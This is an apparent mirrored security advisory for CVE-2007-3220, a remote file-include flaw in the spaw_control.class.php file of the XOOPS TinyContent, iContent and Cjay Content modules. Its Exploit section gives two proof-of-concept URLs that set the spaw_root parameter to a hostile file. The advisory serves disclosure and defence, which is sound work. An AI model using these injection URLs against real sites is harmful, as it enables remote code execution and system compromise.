XOOPS Multiple Module Spaw_Control.Class.PHP Remote File Include Vulnerability

TITLE: XOOPS Multiple Module Spaw_Control.Class.PHP Remote File Include Vulnerability
CLASS: Input Validation Error
CVE: CVE-2007-3220

REMOTE: Yes
LOCAL: No
PUBLISHED: Jun 04 2007 12:00AM
UPDATE: Jun 15 2007 09:49AM
CREDIT: Mahmood_ali, Sp[L]o1T and g00ns are credited with the discovery of this vulnerability.
VULNERABLE:

Xoops TinyContent Module 1.5
Xoops iContent Module 1.0
Xoops Cjay Content Module 3

NOT VULNERABLE:

Vai alla pagina originale su Security Focus

Discussion

Multiple XOOPS modules are prone to a remote file-include vulnerability because they fail to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the applications and the underlying system; other attacks are also possible.

Exploit

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs and exploit code are available:

http://www.example.com/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=evilcode.txt
http://www.example.com/modules/cjaycontent/admin/editor2/spaw_control.class.php?spaw_root=evilcode.txt

• /data/vulnerabilities/exploits/24302.html

Solution

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:vuldb@securityfocus.com.

References

References:

• XOOPS Homepage (XOOPS)
  
• XOOPS iContent Module Homepage (XOOPS)
  

PhpLog